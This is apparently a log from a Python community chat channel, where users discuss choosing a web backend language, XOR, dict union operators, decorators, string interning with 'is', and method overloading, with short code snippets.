every language has best features for vary fields. C best in speed and hardware, Javascript is best in web. if you want to design a website with C, it does not make any sense

#

^

gray mirage
#

A lot of languages do specialise, but those languages are not necessarily useful as general purpose languages

#

It's sometimes said that python is the second best language for any task and I think that's testament to the versatility of the language

#

The truth is that every language is a tool, and every tool has a specific use

late widget
#

I'd question that being true for any task

gray mirage
#

You don't use a screwdriver to bash in nails, if you see what I mean

late widget
#

It's definitely a kewl language tho

gray mirage
#

You could, but.. use a hammer.

late widget
#

i've done exactly that before lmao

gray mirage
#

Haha, haven't we all

late widget
#

Although there was no hammer so it's justified

#

we'll ignore that i didn't bother searching for one

#

and just assume it never existed

gray mirage
#

Also you're right, there are a couple fields python excels at

#

But that's because of the versatility I mentioned, it's not like it specifically targets those areas

late widget
#

Yeye

#

I've only ever used python to help me in other languages tbh

#

Or in assignments

#

Just quick little scripts that automate certain bits of a coursework or something repetitive I find myself doing

flat gazelle
#

same

gray mirage
#

I've used it for major applications

#

It was my primary language until this year, and that's over 11 years of experience haha

late widget
#

Damn lmao

#

I'd definitely say it can be used for major applications, but a lot of the times it just begs the question should it tbh

#

Although again, depends completely on what you're doing

gray mirage
#

It makes sense for webdev and automation projects

late widget
#

Definitely has a special place tho pystrong

gray mirage
#

Bots and that sort of thing

#

I've also used it for major server applications though

#

My introduction to python was actually a custom Minecraft server back in the classic days

#

It did a pretty amicable job

deft pagoda
#

it's simple to write in, i need no other reason

#

i'm no dev

gray mirage
#

That's a good reason for a dev too :>

gloomy rain
#

Python has a lot of useful language features.

undone hare
#

I'm currently using it in my project for the same reason, because that's only a temporary code, I want to go fast

gloomy rain
#

I'd say that's one of its strengths, aside from pure readability.

#

Expressibility.

gray mirage
#

It's a very expressive language, yeah

unkempt rock
#

Guys, i want to ask sth

gray mirage
#

Go ahead

wide shuttle
#

Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.
@unkempt rock

Django is a framework; it's not the Python programming language

gray mirage
#

Node's equivalent is Express ftr

wide shuttle
#

It's only introducing support for asyncio-based applications in the new release (3.0) and continuing to work on it

#

To say that async in Python is bad because a specific framework did not yet have extensive support for it is a bit weird

#

All in all, I'm not saying that Python is better or worse when it comes to async to other languages, but I often feel like people are coming into programming languages with expectations from other programming languages that they're used to and make unfair comparisons that only serve to block them progressing to learn that language.

gloomy rain
#

I mean, it could be a valid concern if you're starting a new web app project and considering what stack to work with. Not saying that it does or does not, but if Python did lack a strong contender for a web framework that has good async support, that could be a reason to go with something else.

gray mirage
#

We do have aiohttp and that's pretty fabulous

wide shuttle
#

Sure, but I'm more talking about the fact that they then make general claims about Python based on their limited experience

gray mirage
#

It's no Django but it's nice to work with

wide shuttle
#

It's like Python programmers getting into Java and blocking their own progress by refusing to accept that there are different practises and approaches that are more common in Java

#

They get into a language with a lot of preconceptions and then blame the language

gloomy rain
#

@gray mirage Sure, but that's what I mean, a single framework that covers all your needs would be nice. It's a dimension among many to consider when you choose your stack.

gray mirage
#

Oh sure, yeah

#

I mean I would argue that true async support for webapps has yet to be realised when it comes to utility, considering it really only helps with scaling

gloomy rain
#

@wide shuttle That certainly does happen.

gray mirage
#

But yeah

unkempt rock
#

@wide shuttle i definitely sayin that bro thank ๐Ÿ˜„

#

at last, independent from your work, i suggest that selecting a language for best to it

#

๐Ÿ˜„

flat gazelle
unkempt rock
#

At a glance, for backend or as server side which language is best to you

#

?

flat gazelle
#

right now, python, simply because I know it best of all the backend langs

unkempt rock
#

i am stuck there, i want to Backend support to my website, but python's Flask module seems slightly weak for it. on the other way, if i use django i dont know MV.. structure so clear.

#

maybe another language for it, but i dont want to learn a new language from beginning.

flat gazelle
#

how does flask seem weak? Flask is very universal

unkempt rock
#

i am saying that "is python good for backend development or is any language exist which best fit with server side scripting.

#

@flat gazelle "Flask is a mini-framework for web, at most for beginners.

gray mirage
#

Flask is a framework used in many real-world applications

unkempt rock
#

so i am beginner to web too, but shoud l use flask for my website ?

gray mirage
#

it's mature, stable, and easy to work with

flat gazelle
#

Netflix, reddit, Patreon, ... all use flask at least to an extent

#

it is not a toy framework

unkempt rock
#

laravel, node, django, javaserverface, ... ?

#

which is best or most popular for web

gray mirage
#

You're too set on finding "the best" that you've lost track of what that actually means

flat gazelle
#

flask, django, springboot are the most popular rn afaik

gray mirage
#

The best framework or language is the one you like the most.

flat gazelle
#

but yes, it is more about what you like than what everyone else likes

unkempt rock
#

then you saying that "u can use python for web it is good for most" ?

gray mirage
#

Well, YouTube seem to think it's good enough

#

So I'd say it is

flat gazelle
#

yes, python can be used for almost all websites with no issues arising from the language

unkempt rock
#

what about php or c#.net

#

or java

gray mirage
#

What about them?

flat gazelle
#

one thing you need to discover about backend dev is that you can almost any language. Including the more odd ones like Haskell, Common Lisp, Clojure, elixir, ...

#

and most of then will work just fine

#

ones abilities as a programmer will be a bottleneck much sooner than a web framework

unkempt rock
#

ลŸ want to clear wth

#

i want to clear sth

gray mirage
#

I'm not sure you understand what you want yourself

unkempt rock
#

ok, relax men

gray mirage
#

?

unkempt rock
#

at first

#

i have a well designed website.

#

but static, not like a facebook, or instagram, ok ?

#

i have users which visiting my site

#

and i want it very secure

#

k ?

#

i want secure and powerful with databases.

#

Python -> secure, but weak db access
Node.js -> not so secure accessing db can exploit.
i dont know other languages C#, Java, PHP etc..

gray mirage
#

Security has absolutely nothing to do with most languages

unkempt rock
#

i want sth both secure and powerful for backend

gray mirage
#

also, Python does have excellent libraries for database access

#

Django has an ORM, there's also SQLAlchemy + Alembic (which can be integrated with Flask)

flat gazelle
#

a language will not help you that much with security. You can write secure things in python just as well as in every other language. There are some advantages to languages like Haskell, Java (limiting constructor access) and Rust (probably similar to haskell), but it is not a catchall and you can still write security holes, regardless of how much you bullly the type system

grave jolt
#

C is statically typed, but I would say it can be less type-safe than Python because of void* and friends.

tacit sinew
#

Is it ok to use a 2012 book to learn Python from?
I tried 2 popular books and I think they're shit..
I really like this 2012 book, but I'm afraid if it's outdated or something, could that be the case?

unkempt rock
#

Well IDK the initial release of Python 3 so if you are down to learn Python 2, I mean why not?

#

You'll need to get comfortable with Python 3 while moving forwards but it won't be hard.

tacit sinew
#

It uses Python 3 in the book.

wide shuttle
#

Which book are you using?

unkempt rock
#

@flat gazelle i dont mean web securitiy, i mean secure db access my friend ๐Ÿ˜„

flat gazelle
#

It still applies

uncut sage
#

@unkempt rock secure DB access is entirely a factor of how you deploy your DB and little to nothing to do with the language in question

#

e.g., using a non-admin account to access the DB from your web app, having a strong password for admin, not allowing admin access from anything other than the server where the DB is hosted, rotating passwords regularly, not storing DB passwords in plaintext or in code, etc.

unkempt rock
#

bro, i heard that javascript's database security feature is weak is it true or legnd ?

#

@uncut sage

uncut sage
#

@unkempt rock I don't use JavaScript, I can't comment

wide shuttle
#

I think we've meandered quite a bit from the topic of this channel

uncut sage
#

yeah, any further questions in this vein belong in #databases

gritty goblet
#

hi, someone can explain me how the XOR (x^y) work in python ?

unkempt rock
#

Hi! When I start the bot the terminal: certificate has expired I don't understand, help c:

lunar trail
unkempt rock
#

OkayPanCuddleGif

karmic agate
#

yo what lib can i use for drawing stuff on the screen and make it moving

flat gazelle
#

wrong channel, but arcade/pyglet/pygame are solid

karmic agate
#

my bad

#

thanks

raven pike
#

hey guys

#

so what's going to happen to python when it completely moves to githun?

#

will they ever accept external contributions? will it change anything?

#

or is it just a platform change?

gray mirage
#

They already accept PRs I think

wide shuttle
#

They welcome all contributors; there's even a how to become a contributor guide on the website

#

If you want to help out reviewing stuff, that's fine as well (as long as the reviews are reasonable)

#

I'm sure the core devs and triage team like seeing informed opinions on PRs

swift imp
#

@gritty goblet xor(x,y) or x^y is Exclusive OR. In English, its typically used as x or y but not both x and y

#

Less succintly x^y is equivanetly (x and not y) or (not x and y)

#

Its true when either are true but not when both are true

#

thats how it differs from regular or which is more correctly labeled inclusive or

gritty goblet
#

thx

deft pagoda
#
In [70]: %tt p or q, p xor q
โ”Œโ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚ p โ”‚ q โ”‚ p or q โ”‚  p xor q โ”‚
โ”œโ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ผโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚ F โ”‚ F โ”‚   F    โ”‚    F     โ”‚
โ”‚ F โ”‚ T โ”‚   T    โ”‚    T     โ”‚
โ”‚ T โ”‚ F โ”‚   T    โ”‚    T     โ”‚
โ”‚ T โ”‚ T โ”‚   T    โ”‚    F     โ”‚
โ””โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
rich wharf
#

x or y and not (x and y)

#

why is print a fucntion

#

but not yield or raise

raven ridge
peak spoke
#

They're used for flow control, and that is usually done with keywords (maybe always)

raven ridge
#

Right. if print didn't exist, you could implement it yourself pretty easily, in pure Python code. The same can't be said for yield or raise; those require special support from the interpreter.

rich wharf
#

raise could be implemented quite easy

#
def throw(e):
  (() for () in ()).throw(e)
#

but I see your point

raven ridge
#

Fair enough; what a horrific abuse of generators, but I guess you could implement raise yourself, heh

swift imp
#

You can do truth tables in freaking ipyrhon?

raven ridge
#

@deft pagoda ^ yeah, that was cool - what's the magic for that?

swift imp
#

That doesn't work in my ipython

raven ridge
#

right - you're able to define custom magics; they must have defined a custom one for that

north root
#

some interesting stuff in there

swift imp
#

that is amazing

#

Learned something new today.

#

I can see that being useful for thinking about logical expressions like that

#

shit

raven ridge
#

Love it, salt. โค๏ธ

zenith quarry
#

It says the chat rooms under How to get help tab are read only

peak spoke
#

Not the channel for this, but you already claimed #help-pie and are on cooldown

deft pagoda
#

oh, sorry was afk, i should post my entire ipython startup file somewhere

solar otter
#

hey can I use python to code ai

low lagoon
#

you can, indeed

solar otter
#

like real ai

low lagoon
#

define real ai

solar otter
#

i want to make an ai that learns how to play games

#

or like the ones in movies

low lagoon
#

movies aren't that realistic when it comes to AI

solar otter
#

oh

#

so what can I make

low lagoon
#

I'm not experienced in AI at all, but I know for a fact you can make genetic evolution stuff

#

so making something play a game for you is possible in python, yes

#

but it really depends on the game

solar otter
#

I'd like to make something that learns how to play any games

#

like a general game playing ai

north root
solar otter
#

oh ok

raven ridge
low lagoon
#

oh I thought this would fall under use cases

#

mb

rich wharf
#

I sort of liked this as #python-language more

near coral
#

alright guess this channel metamorphisized from Python Language to Advanced Python ๐Ÿ˜Ž

deft pagoda
tepid dune
#

who has good tutorial python advance?

#

please share me

lost nexus
#

do you guys think there's going to be any notable performance difference between using IOR versus dict.update in 3.9?

raven ridge
#

I don't believe it's supposed to make much of a difference. My wild guess would be that it will be slightly faster, due to not needing to lookup the update method by name.

lost nexus
#

yeah good point

pliant tusk
#

it will make a difference, because if you are using dict.update to create a new dict containing the contents of 2 dicts (as IOR does) then you will need a temp variable. in IOR a temp var wont be needed.

#
x = {'a':2}
y = {'b':3}
z = dict(x)
z.update(y)
``` vs ```py
x = {'a':2}
y = {'b':3}
z = x | y
boreal umbra
#

Huh, this is a good name for the channel, I think.

raven ridge
#

isn't IOR the inplace one? So the right comparison is:

x = {'a':2}
y = {'b':3}
x.update(y)

vs

x = {'a':2}
y = {'b':3}
x |= y

isn't it?

boreal umbra
#

3.9 is going to implement or for dicts?

#

I thought that got shot down.

raven ridge
boreal umbra
#

What about and?

raven ridge
#

no, only or.

boreal umbra
#

Ah

#

If I look in there, will it explain why they did or and not add?

raven ridge
#

yes

#

This PEP does not take a position on whether dicts should support the full collection of set operators, and would prefer to leave that for a later PEP (one of the authors is interested in drafting such a PEP).
...
For example, given two dicts:

d1 = {"spam": 1, "eggs": 2}
d2 = {"ham": 3, "eggs": 4}
...
Set intersection (&) is a bit more problematic. While it is easy to determine the intersection of keys in two dicts, it is not clear what to do with the values. Given the two dicts above, it is obvious that the only key of d1 & d2 must be "eggs". "Last seen wins", however, has the advantage of consistency with other dict operations (and the proposed union operators).

boreal umbra
#

Ah, I was wondering about add. +

raven ridge
#

oh, I though that was a typo ๐Ÿ™‚ What would you want dict1 + dict2 to do?

#

how would it be different from | ?

boreal umbra
#

My family is demanding my attention but I'll get back to you when they allow it.

prime estuary
#

+ vs | vs << vs whatever I remember was a lively discussion in the mailing list.

pliant tusk
#

I thought you just meant the operator not the assignment operation

raven ridge
#

basically, "it was too controversial" and "read the mailing list" ๐Ÿ™‚

boreal umbra
#

@raven ridge thanks! It occured to me later that if we used plus to combine two dicts, then the plus operator would be doing a totally different thing for Counter

#

And that would break... THE LISKOV SUBSTITUTION PRICIPLE

#

But also result in potentially counterintuitive behavior if you wanted to combine a dict and a Counter

crystal kindle
#

for actual AI

#

we need something that is like A* but for planned actions that can be recognized and used to traverse a goal

#

[step 1- walk here, step2 open door , etc]

#

and after it is in the middle of it, it re-evaluates it's plan periodically

prime estuary
#

Well, you could use A* for that. It doesn't have to operate on a grid, it can be used on any graph.

#

You'd need to define some sort of state, and then a way to determine all possible states it can get to by performing an action. And then a heuristic function, which might be the hard bit

pastel crest
#

how did you guys learn python from the very begining

unkempt rock
#

by writing different projects

cloud crypt
#

while waiting for | for dicts, I have been using these two functions for merging dicts:

def merge_inplace(original, *dicts, **fields):
    for other in dicts:
        original.update(other)
    original.update(fields)

def merge(*dicts, **fields):
    result = {}
    merge_inplace(result, *dicts, **fields)
    return result

# >>> foo, bar = {"a": 1}, {"b": 2}
# >>> merge(foo, bar, c=3)
{'a': 1, 'b': 2, 'c': 3}
# >>> merge_inplace(foo, bar, c=3)
# >>> foo
{'a': 1, 'b': 2, 'c': 3}
raven ridge
#

!e

foo, bar = {"a": 1}, {"b": 2}
print({**foo, **bar, **dict(c=3)})
fallen slateBOT
#

@raven ridge :white_check_mark: Your eval job has completed with return code 0.

{'a': 1, 'b': 2, 'c': 3}
cloud crypt
#

As PEP has said, this doesn't look very beautiful haha

tawdry gulch
#

If you really want | for dicts couldnโ€™t you just subclass

#

Surely thereโ€™s a Dunder for |

flat gazelle
#

there is __or__ and __ior__

tawdry gulch
#

right

flat gazelle
#

it not an ideal solution though, sometimes you have nested dicts for example

undone hare
#

Dict unpacking looks okay for me tbh

tawdry gulch
#

Sets handle that okay thought right

flat gazelle
#

and doing

fancydict(get_dict()) | get_other_dict()
``` is not all that great
tawdry gulch
#

though*

#

Oh, I mean yeah, it looks bad if you instiantate it like that on the spot

#

No use in that

flat gazelle
#

you have to convert into the fancy dict at some point

tawdry gulch
#

Yeah

cloud crypt
#

switch address of dict and replace it with your own via ctypes lol

unkempt rock
#

hoyl crap tehre are so namy things

#

my brain

cloud crypt
#

Pretty sure itโ€™ll segfault the moment you do it tho

flat gazelle
#

I wonder if just switching builtins.dict would work for the bytecode BUILD_MAP

cloud crypt
#

ye thatโ€™s an interesting question

unkempt rock
#

@gloomy rain The heck , imma let u gays

radiant fulcrum
#

bruh

deep coral
#

@radiant fulcrum can I dm you I have some questions

#

about the for loop sub list

radiant fulcrum
#

Id prefer if you didnt sry

#

I have school also this isnt the channel for this

deep coral
#

oh ok sorry for bothering

#

yep the first one got muted

#

sorry

gray mirage
visual rose
#

Do you guys have any good reading material on decorators?

flat gazelle
visual rose
#

@flat gazelle yeah he is good. Imma read this up..

wide shuttle
#

It starts out with the most important bit: function objects are just like other objects

#

That's the real magic, the decorator syntax, is ultimately "syntactic sugar" that makes things so much more readable

tawdry gulch
#

Decorator is my fav syntax sugar

visual rose
#

We're basically modifying what the function does isn't it?

tawdry gulch
#

Sad other languages donโ€™t have it

flat gazelle
#

some languages have something similar

cloud crypt
#

decorators are extremely nifty for modifying the behavior or separating logic

flat gazelle
#

LISP has :around functions, which are kind of similar, raku has wraps. Ruby has flexible lambda syntax that sometimes looks cleaner than decorators

tawdry gulch
#

Oh wow

#

Oh of course lisp lol

#

seems like lisp has everything haha

cloud crypt
#

lisp has ((())) lemon_pleased

flat gazelle
#

yeah, LISP is the original dynamically typed lang and is still a really nice language

#

I sometimes use scheme for prototyping algos

tawdry gulch
#

Huh wait was it the first dynamic Lang?

flat gazelle
#

maybe not the first, but the first big one afaik

tawdry gulch
#

Right. Huh

flat gazelle
#

though LISP has static typing as well in some dialects (kawa e.g.)

tawdry gulch
#

A lot more respect for lisp now

wide shuttle
#

We're basically modifying what the function does isn't it?
@visual rose

You're usually not directly manipulation the original function object, rather you're creating a new function object that uses the old one. The name of the old function object then gets assigned to the new function object. Whenever you "call" the name, you call the new function instead of the old one.

flat gazelle
#
@decorator
def fun():
    ...
```is about the same as
```py
def fun():
    ...
fun = decorator(fun)
cloud crypt
#

why about the same? quite literally works like this

hollow crane
#

well that makes a lot more sense now

prime estuary
#

Well the difference is that the original function is never saved to the variable.

hollow crane
#

only used decorators in very specific situations and it seemed completely magic

cloud crypt
#

ah, yeah, fair

flat gazelle
#

which does matter in cases like

class A:
    @decorator
    def method(self):
        ...
```I would think
wide shuttle
#

No, it doesn't really matter there either

prime estuary
#

There with a __prepare__ method (or exec() with custom globals) you could spot the difference.

#

Not really important though.

wide shuttle
#

try method = decorator(method) after you created the function object you called method there

flat gazelle
#

yeah, I was specifically thinking some metaclass could catch that

cloud crypt
#
@routes.get("/api/user/{id}")
@handle_errors()
@auth_setup(required=False)
@cooldown(rate=10, per=1)
async def handle_user(request: web.Request) -> web.Response:
    ...``` decorators huh ![lemon_pleased](https://cdn.discordapp.com/emojis/680222129740054605.webp?size=128 "lemon_pleased")
#

Not sure if using that many is fine at this point

wide shuttle
#

I think it's still okay, but it probably depends on what you're used to

prime estuary
#

Compartmentalises all your different layers and issues.

hollow crane
#

can you self decorate a function

#

recursively

#

aww no

#

ok yeah

flat gazelle
#

oh yeah, there is matters actually

prime estuary
#

Yes and no, since it would refer to the previous definition. That's what property does.

flat gazelle
#
@fun
def fun(): ...
```does not work
```py
def fun(): ...
fun = fun(fun)
```does work-ish
prime estuary
#

But you could do myfunc = myfunc(myfunc), no idea why.

wide shuttle
#

The name myfunc is defined at that point

prime estuary
#

Yep.

hollow crane
#

flashback to Forward in pyparsing

#

wow i haven't used pyparsing in ages

cloud crypt
#

Regarding the thing I have posted:
routes.get registers a route with GET method
handle_errors catches all exceptions, sending the response with the message/type of an error, also allowing to pass some functions to specifically add messages/return types.
auth_setup adds an attribute needs_auth to a function, allowing an aiohttp.web.middleware to handle auth header/tokens.
cooldown creates and puts a CooldownMapping class that gets updated every request.
So I think it's pretty understandable to use that bunch lemon_thinking

wide shuttle
#

I didn't quite know the functions, but I had no trouble understanding what that piece of code was supposed to do

cloud crypt
#

oh, glad to hear, haha

#

that's a good sign

wide shuttle
#

Does anyone have a good resource on best practices for data descriptors? It's probably going to be some kind of opinated blogpost, but I don't really care about that.

#

I'm always struggling a bit with what the best practices are and when I look at other implementations, they all take different approaches

#

With __set_name__ it's trivial to store the data in the __dict__ of the actual instance on which the class attribute is accessed (not the descriptor instance) under a proper name (and that's what a lot implementations do), but it's a lot of boilerplate

prime estuary
#

Can you extract the boilerplate into some common class or something?

wide shuttle
#

Yeah, it's not really that I mind the boilerplate (I can factor it out, like you said), but typically when I'm using something that I'd consider boilerplate, there's a better solution

#

I wish there was like a "post Fluent Python" kinda resource

#

Although what I'm looking for (a single, unified approach that's generally accepted) may just not exist for something like this

flat gazelle
#

You could look at some things that use descriptors and see how they do it and imitate

prime estuary
#

Probably everyone has different needs?

wide shuttle
#

Probably

#

I'm currently doing something fairly basic and using the approach outlined briefly in Fluent Python (the first edition, I haven't read the second edition yet)

molten onyx
#

"post Fluent Python" resources are David Beazley's Python talks :)

stable grail
#

the python cookbook is nice, and David open sourced his other book in wich the name eludes me atm

#

but did the second edition of fluent python get delayed? mine has not been shipped to me yet.

#
Fluent Python, 2nd Edition
by Luciano Ramalho
Released January 2021
Publisher(s): O'Reilly Media, Inc.
ISBN: 9781492056355
wide shuttle
#

"post Fluent Python" resources are David Beazley's Python talks :)
@molten onyx

Yeah, I love those.

#

@stable grail I think it was already delayed. They released an online "preview" version that stil had to be "edited" and "revised" in March. The process after that, from editing/revising to printing, quality control, and shipping probably takes some time.

#

I think they may have even released that preview version to get more feedback, but I don't know, I haven't actually bought it

stable grail
#

Jan 2021 as of this time

wide shuttle
#

It's the tragedy of good books: It will be updated to 3.8, but 3.9 will have been released by the time the book gets released

#

Although I don't think anything in the 3.9 version would have changed the contents dramatically

deft pagoda
#

i had an idea to remove some decorator boilerplate and managed to get this to work:

In [8]: @decoratorize
   ...: def print_result(*args, **kwargs):
   ...:     result = func(*args, **kwargs)
   ...:     print(result)
   ...:     return result
   ...: 
   ...: @print_result
   ...: def add_2(x):
   ...:     return x + 2

In [9]: add_2(10)
12
Out[9]: 12
#

this does require your function not to use func as a local variable though

wide shuttle
#

What is decoratorize?

deft pagoda
#
def decoratorize(wrapper):
    source = getsource(wrapper)
    source = '\n'.join(line for line in source.splitlines() if not line.startswith('@'))
    deco = f"""
def deco(func):
{indent(source, '    ')}
    return {wrapper.__name__}
"""
    loc = {}
    exec(deco, None, loc)
    return loc['deco']
#

this is pretty naive version

#

we'll just call it a "prototype"

wide shuttle
#

oh right

#

That's why it can't use func

#

Or hmm

#

would it matter?

deft pagoda
#

maybe not, just you need to refer to the function you decorate as func in your would-be decorator

#

is more what i meant

wide shuttle
#

Yeah, but the func definition in the to-be-decorated function (add_2 here) should not interfere with that

#

I think

deft pagoda
#

no i don't think so

#

also would probably explode with multiple decorators

#

you could add some logic at the start to fix that though

worldly hedge
#

Where did python-language go? Thonking

spice pecan
#

renamed to this

worldly hedge
#

hmm 4Weird

cloud crypt
#

weird emoji choice but fine

#

python-language is, in fact, advanced python stuff

somber halo
#

hey, here's a gotcha that I'm trying to figure what's happening here

#
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
False
>>> lolkek is "lolkek"
True
>>> a, b = "a", "b"
>>> a is "a"
True
>>> b is "b"
True
#

this was executed in Python's REPL

prime estuary
#

As an optimisation, CPython caches and reuses certain objects it knows are often used. For example thereโ€™s only ever one empty tuple.

somber halo
#

if you run the equivalent code in a simple Python module, all 4 conditions are true.

prime estuary
#

And in this case all single characters are reuse.

#

In that case the code is compiled in one unit, so CPython can see the duplicate strings and reuses the same object for them all.

#

In the REPL put the assignments on the same line with ; and youโ€™ll see the same happen.

dawn hill
#

I'm disappointed this didn't work

while (foo := True) == True:
    foo = False

print("bar")
#

It just infinite loops

hollow crane
#

Why wouldn't it

whole glacier
#

Which is what it should do

hollow crane
#

The condition will always be true

dawn hill
#

Would have thought the walrus operator would only trigger once but it reassigns

hollow crane
#

Also it's worth noting you don't need == True

#

Yeah the condition is re-evaluated

dawn hill
#

Yeah I'm just used to doing that

hollow crane
#

Otherwise

#

Wait what

prime estuary
#

No it triggers every time it runs.

whole glacier
#

If anything, doing a py x = 10 x = 20 print(x)and if it prints 10, I will be super confused

#

walrus is for assigning values, so it should reassign

dawn hill
#

I just would have hoped it'd let me do what I wanted. Makes sense to reassign.

whole glacier
#

Hmm, what are you trying to do?

dawn hill
#

Just seeing if there was a shortened way of having while var without having to assign beforehand

hollow crane
#

Ohh

#

Well while True then break is the pattern for that sort of thing generally

wide shuttle
#

@somber halo Running something in the REPL involves compiling each line separately, while a module is compiled in one go. That's the difference I can think of and it may influence some of the string interning that's happening.

whole glacier
#

In that case you can use the break instead

#

And check var inside the while loop

#

Which is subjectively better than initializing a variable

dawn hill
#

I usually use that yeah.

wide shuttle
#

You evaluate the expression each time, yeah

#

otherwise things like while (item := get_next_item()): wouldn't work

whole glacier
#

Hmm, weird, it wasnt a True for the last one for me

#
Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> lolkek is "lolkek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a, b = "a", "b"
>>> a is "a"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
True
>>> a is "b"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False```
somber halo
#

should be b is "b"

dawn hill
#

Never even thought of using walrus with functions. It seems so useful.

whole glacier
#

Aaaah, yeah, okay

#

Yes that'll be true

somber halo
#

it's like the is operator is replaced by the == operator in the REPL, which wouldn't make much sense I believe.

wide shuttle
#

They're not replaced, but Python is doing something called string interning

#

As strings are immutable, it tries to keep only one copy of the string in memory

#

There's no need to have two copies of a string with an identical value in memory

visual shadow
#

When is says something is true, they really are the same object.

wide shuttle
#

And that means that is comparisons will give strange results with those kind of objects (and why Python started giving that "literal warning")

whole glacier
#

Yep, it is because of string interning, which differs from a REPL and when compiling and running

#
>>> lol_kek, lolkek = "lol kek", "lolkek"
>>> lol_kek is "lol kek"
<stdin>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
False
>>> id("lol kek")
2870219321456
>>> id(lol_kek)
2870219309744```
wide shuttle
#

It's also why a lot of beginners get bitten by is and small int objects

#

And why even some bad tutorials even recommend is

#

For some reason

whole glacier
#

Technically is is much faster than ==

#

But that is by no mean a valid reason to use is over ==

wide shuttle
#

I doubt that's the reason why those tutorials advice is

#

I think they're just written by people who are confused about the difference

whole glacier
#

That can also be the case, yes

#
>>> a = "yes this is a super long string"
>>> b = "yes this is a super long string"
>>> id(a), id(b)
(2870219319376, 2870219319456)
>>> a is b
False```more examples of how python intern strings differently
#

This is only on REPL as each line is compiled, as opposed to when running from a script where the entire code is compiled

#
>>> if True:
...     a = "yes this is a super long string"
...     b = "yes this is a super long string"
...
>>> a is b
True```
#

In this case we simply make it so both the assignment be done in the same line ( using if to create a block ) -> then python will actually create a single string and point both a and b toward it

wide shuttle
#

Just use f-strings that have placeholders and non-placeholder content

#
>>> f"{'hello'} you" is f"{'hello'} you"
False
deft pagoda
#
In [61]: a = type('', (), {'__eq__': lambda *args:True})()

In [62]: b = type('', (), {'__eq__': lambda *args:True})()

In [63]: a == b
Out[63]: True

In [64]: a is b
Out[64]: False
whole glacier
#

salt, no!

deft pagoda
#

that's perfectly readable

somber halo
#

ok, there's some shenanigans wrt string interning when using the REPL

#

but I still didn't quite get the different results between the (lol_kek, lolkek) and (a, b) tuples

true ridge
#

ok, there's some shenanigans wrt string interning when using the REPL
@somber halo it isn't specific to strings, or the REPL. Since every block >>> compiled individually, python re-creates everything (even the constants, which differs from compiling the same exact code on a file)

somber halo
#

ok, gotcha.

#

so what's the possible cause then for the different results in these tuples?

true ridge
#

so what's the possible cause then for the different results in these tuples?
@somber halo what tuples?

whole glacier
#

The length of the strings

#

For very simple strings like "a" python will create and intern a single one, that's consistent between each compilation ( in a single session )

#
>>> a = "a"
>>> b = "a"
>>> c = "a"
>>> a is b
True
>>> a is c
True
>>> b is c
True```vs```py
>>> a = "much longer string"
>>> b = "much longer string"
>>> c = "much longer string"
>>> a is b
False
>>> a is c
False
>>> b is c
False```
somber halo
#

nice

whole glacier
#

It's part of internal optimization iirc

somber halo
#

thanks for clearing this up then.

#

yet another quirky scenario

#
>>> a = "abc"
>>> b = "abc"
>>> c = "abc"
>>> a is b
True
>>> a is c
True
>>> b is c
True
>>> a = "a b c"
>>> b = "a b c"
>>> c = "a b c"
>>> a is b
False
>>> a is c
False
>>> b is c
False
>>> a = "a b"
>>> b = "a b"
>>> c = "a b"
>>> a is b
False
>>> a is c
False
>>> b is c
False
#
>>> a = "reallylongstringwithnospaces"
>>> b = "reallylongstringwithnospaces"
>>> c = "reallylongstringwithnospaces"
>>> a is b
True
>>> a is c
True
>>> b is c
True
#

having whitespaces in a string seem to be the culript

full jay
#

That's so bizarre

#

I never would have figured that'd be the deciding line. I always thought it was just string length

reef hill
#

hello i need helps please

shy vine
#

This is not a help channel

reef hill
#

mmh sorry

boreal umbra
#

Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?

#

Or did Guido have a specific objection to them?

true ridge
#

Is the reason Python doesn't have method overloading basically just that you can't really have it when your method signatures are untyped?
@boreal umbra I don't know about Guido's opinion but since we do have 'default arguments' (compared to languages who allows overloading), 'decorators' and tons of other metaprogramming stuff, there is no need for it at the core level. And if this isn't enough, you can always use functools.singledispatch or implement something similiar with decorators.

boreal umbra
#

I can only think of one time where I thought overloading a method would be the most obvious way to solve something

#

Though I've encountered critics of Python who gave the absence of overloading as one of their main reasons for hating Python

grave jolt
#

Well, making an overloading decorator is pretty trivial.

#

Just a little inspect magic, maybe

spice pecan
#

There are some edge cases when overloading would be useful, but in general it seems like its absence is barely noticeable

grave jolt
#

It may be more useful in statically typed languages.

#

That might be a bit confusing, though

spice pecan
#

That's about 8 too many

twilit garnet
#

9 too many if you just use a const char * :^)

spice pecan
grave jolt
peak spoke
#

Python strings also have a few

grave jolt
#

true

#

Actually, much more

#

but it's basically the same interface.

peak spoke
#

But with qt's many types it makes sense, with some of them probably not being used that much

grave jolt
#

"call __str__ or __repr__ or __repr__ if __str__ doesn't exist"

spice pecan
#
def str(arg):
    try:
        return arg.__str__()
    except AttributeError:
        return repr(arg)

simple, but really convenient

#

I really like the built-ins that wrap around dunders like that

grave jolt
#

that won't really work

#

because object has a __str__ method

spice pecan
#

oh, should probably check for NotImplemented then

grave jolt
#

it will always be implemented

#

!e

class A:
